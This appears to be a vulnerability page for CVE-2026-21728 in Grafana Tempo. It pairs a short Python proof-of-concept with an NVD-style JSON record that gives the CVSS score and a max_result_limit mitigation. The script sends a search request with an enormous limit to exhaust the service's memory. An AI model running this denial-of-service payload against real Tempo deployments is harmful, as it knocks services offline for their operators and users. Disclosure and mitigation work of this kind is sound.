CVE-2026-21728

import requests # Target URL for Grafana Tempo Search API target_url = "http://target-tempo-instance:3100/api/search" # Malicious payload with an extremely large limit to trigger memory exhaustion # The limit is set to a very high number to force large memory allocation payload = { "limit": 999999999, "query": "{service=\"test\"}" } try: print(f"[+] Sending DoS request to {target_url}...") # Send the POST request with the malicious payload response = requests.post(target_url, json=payload, timeout=10) print(f"[+] Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed or service crashed: {e}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-21728", "sourceIdentifier": "[email protected]", "published": "2026-04-24T09:16:03.710", "lastModified": "2026-04-24T14:39:28.770", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tempo queries with large limits can cause large memory allocations which can impact the availability of the service, depending on its deployment strategy.\n\nMitigation can be done by setting max_result_limit in the search config, e.g. to 262144 (2^18)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-21728", "source": "[email protected]"}]}}